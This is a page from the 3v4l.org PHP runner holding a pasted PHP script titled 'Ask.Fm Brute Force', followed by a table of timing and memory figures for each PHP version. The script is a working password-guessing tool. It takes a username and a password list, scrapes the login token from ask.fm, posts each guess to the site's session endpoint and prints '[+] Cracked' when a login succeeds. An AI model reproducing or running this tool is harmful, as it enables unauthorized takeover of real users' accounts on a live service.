3v4l.org

run code in 300+ PHP versions simultaneously
<?php <? # Coded By : Knowledge Hunter # Greet'z : GRENXPARTa - Mr K - Ice Cream echo "<form method='POST'><title>Ask.Fm Brute Force</title><center> <font face='Tahoma' size='5' color='darkred'><b>Ask.Fm</b></font><font face='Tahoma' size='2'><b> Brute Force</b><br> <input name='username' placeholder='username'><br> <textarea cols='20' rows='15' name='pass'></textarea><br> <input type='submit' value='Brute' /><br></form>"; @set_time_limit(0); @error_reporting(0); $site = "http://ask.fm/login/"; $username = $_POST['username']; $passl = explode("\r\n", $_POST['pass']); foreach($passl as $pass) { $hash = token($site); $x = brute($hash,$username,$pass); if(preg_match('/<a href="(.*?)" class="link-menu" data-rlt-aid="tlb_menu_answers">Profile/', $x)) { //print $x; print "<br>[+] Cracked : <font face='Tahoma' size='2' color='red'><b>{$username}</b></font> / <font face='Tahoma' size='2' color='red'><b>{$pass}</b></font>"; flush();flush(); break; } } # extract auth_token function token($site) { $curl = curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1); curl_setopt($curl, CURLOPT_URL, $site); curl_setopt($curl, CURLOPT_COOKIEJAR, getcwd()."./cookie.txt"); curl_setopt($curl, CURLOPT_COOKIEFILE, getcwd()."./cookie.txt"); $b0x = curl_exec($curl); preg_match('/<input name="authenticity_token" type="hidden" value="(.*?)" /' ,$b0x ,$token); return $token[1]; } # brute function brute($hash,$username,$pass) { $curl = curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1); curl_setopt($curl, CURLOPT_URL, "http://ask.fm/session"); curl_setopt($curl, CURLOPT_POSTFIELDS, "authenticity_token={$hash}&login={$username}&password={$pass}&commit=Log+in"); curl_setopt($curl, CURLOPT_COOKIEJAR, getcwd()."./cookie.txt"); curl_setopt($curl, CURLOPT_COOKIEFILE, getcwd()."./cookie.txt"); $brute = curl_exec($curl); return $brute; } @system("del cookie.txt"); @system("rm cookie.txt"); echo "<br><br><font face='Tahoma' size='2'>[+] Coded By : Knowledge Hunter | Homepage: knowledge-h.blogspot.com <br> Greet'z : GRENXPARTa - Mr K - Ice-cream</font>"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.0.40.0170.06020.08
7.0.30.0200.05720.10
7.0.20.0130.06320.24
7.0.10.0330.07320.04
7.0.00.0170.05720.45
5.6.190.0100.06320.63
5.6.180.0100.06020.82
5.6.170.0230.04720.45
5.6.160.0270.06020.79
5.6.150.0230.05020.40
5.6.140.0230.05020.16
5.6.130.0430.07020.56
5.6.120.0130.06320.19
5.6.110.0070.07020.46
5.6.100.0170.06020.55
5.6.90.0130.06720.15
5.6.80.0270.05319.57
5.6.70.0130.06319.61
5.6.60.0300.04719.60
5.6.50.0230.04719.89
5.6.40.0170.05719.66
5.6.30.0230.07019.53
5.6.20.0230.05319.52
5.6.10.0170.06019.94
5.6.00.0170.05719.54
5.5.330.0130.06020.42
5.5.320.0070.06720.46
5.5.310.0170.05320.59
5.5.300.0300.07319.96
5.5.290.0230.05020.39
5.5.280.0200.05320.36
5.5.270.0130.06020.36
5.5.260.0270.05020.34
5.5.250.0170.05719.78
5.5.240.0300.05019.65
5.5.230.0100.07319.38
5.5.220.0170.06019.59
5.5.210.0300.06719.61
5.5.200.0170.07319.55
5.5.190.0430.06319.54
5.5.180.0370.04319.32
5.5.160.0270.05019.32
5.5.150.0170.07719.61
5.5.140.0270.05019.55
5.5.130.0370.05019.34
5.5.120.0270.05019.61
5.5.110.0300.07319.44
5.5.100.0230.06019.53
5.5.90.0300.05019.52
5.5.80.0200.05719.22
5.5.70.0070.06719.51
5.5.60.0470.04719.62
5.5.50.0070.06719.60
5.5.40.0200.05019.51
5.5.30.0270.05019.32
5.5.20.0270.05019.62
5.5.10.0270.04719.39
5.5.00.0330.04719.42
5.4.450.0220.05519.40
5.4.440.0300.06719.24
5.4.430.0350.05719.54
5.4.420.0270.05819.46
5.4.410.0420.04719.49
5.4.400.0320.05219.28
5.4.390.0300.05519.13
5.4.380.0380.04319.23
5.4.370.0330.07319.28
5.4.360.0180.04518.91
5.4.350.0480.05219.28
5.4.340.0380.05319.02
5.4.320.0400.05219.04
5.4.310.0270.05519.22
5.4.300.0450.04719.04
5.4.290.0380.05219.14
5.4.280.0480.04719.08
5.4.270.0530.04319.25
5.4.260.0550.04819.18
5.4.250.0380.06019.11
5.4.240.0470.05519.07
5.4.230.0400.06519.07
5.4.220.0670.05319.28
5.4.210.0530.05019.05
5.4.200.0420.04719.12
5.4.190.0320.05219.09
5.4.180.0220.05019.16
5.4.170.0330.06219.26
5.4.160.0420.06019.05
5.4.150.0250.07519.00
5.4.140.0220.05816.42
5.4.130.0250.04316.50
5.4.120.0320.05016.52
5.4.110.0180.05316.36
5.4.100.0280.04716.48
5.4.90.0230.05016.60
5.4.80.0170.05016.53
5.4.70.0200.05016.50
5.4.60.0030.05716.44
5.4.50.0070.05716.25
5.4.40.0100.06016.48
5.4.30.0130.05016.46
5.4.20.0170.05716.48
5.4.10.0130.05316.52
5.4.00.0130.05315.84
5.3.290.0400.05714.57
5.3.280.0420.04814.53
5.3.270.0350.05714.49
5.3.260.0280.05514.58
5.3.250.0170.07014.53
5.3.240.0150.05514.47
5.3.230.0170.05714.52
5.3.220.0270.04714.45
5.3.210.0230.05514.46
5.3.200.0230.05214.54
5.3.190.0130.07314.37
5.3.180.0270.04314.65
5.3.170.0170.05014.49
5.3.160.0200.05314.50
5.3.150.0130.06014.50
5.3.140.0130.05014.48
5.3.130.0100.06014.45
5.3.120.0270.05014.48
5.3.110.0170.05314.64
5.3.100.0200.05313.97
5.3.90.0300.04013.95
5.3.80.0330.03313.83
5.3.70.0270.04013.93
5.3.60.0070.05313.80
5.3.50.0470.04713.73
5.3.40.0200.05013.86
5.3.30.0200.05013.88
5.3.20.0200.05013.48
5.3.10.0130.04713.57
5.3.00.0530.05713.56
5.2.170.0270.03011.07
5.2.160.0070.04711.13
5.2.150.0030.04711.15
5.2.140.0230.04011.00
5.2.130.0100.04011.06
5.2.120.0200.03011.00
5.2.110.0670.04311.00
5.2.100.0100.03711.03
5.2.90.0200.03711.11
5.2.80.0200.04311.00
5.2.70.0100.04711.10
5.2.60.0130.04710.98
5.2.50.0200.04711.16
5.2.40.0200.03311.00
5.2.30.0300.03010.96
5.2.20.0200.03310.96
5.2.10.0270.03310.84
5.2.00.0200.04010.57
5.1.60.0200.0279.83
5.1.50.0200.0339.98
5.1.40.0130.0339.88
5.1.30.0130.03310.18
5.1.20.0100.03710.32
5.1.10.0030.04310.05
5.1.00.0170.03310.03
5.0.50.0130.0238.56
5.0.40.0030.0478.41
5.0.30.0070.0438.30
5.0.20.0100.0278.16
5.0.10.0130.0278.17
5.0.00.0100.0438.07
4.4.90.0070.0235.82
4.4.80.0000.0275.76
4.4.70.0070.0205.74
4.4.60.0100.0205.79
4.4.50.0170.0235.79
4.4.40.0170.0235.84
4.4.30.0100.0205.83
4.4.20.0030.0235.84
4.4.10.0070.0205.83
4.4.00.0000.0535.84
4.3.110.0100.0205.80
4.3.100.0030.0235.75
4.3.90.0130.0235.76
4.3.80.0100.0305.77
4.3.70.0030.0275.74
4.3.60.0070.0305.75
4.3.50.0030.0235.71
4.3.40.0070.0335.69
4.3.30.0000.0274.52
4.3.20.0070.0234.52
4.3.10.0030.0274.45
4.3.00.0070.0334.54

preferences:
146.63 ms | 1386 KiB | 7 Q